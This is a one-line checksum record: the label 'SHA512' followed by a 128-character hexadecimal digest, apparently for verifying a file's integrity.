SHA5121ad848e17022bce021a357db0158915d3fd0c00c79680fc4561b90e1ba0faef0e2dacdb92eeda7fdc583c98774e188f9fac5e6067cc28781a5ac8bf0783c3537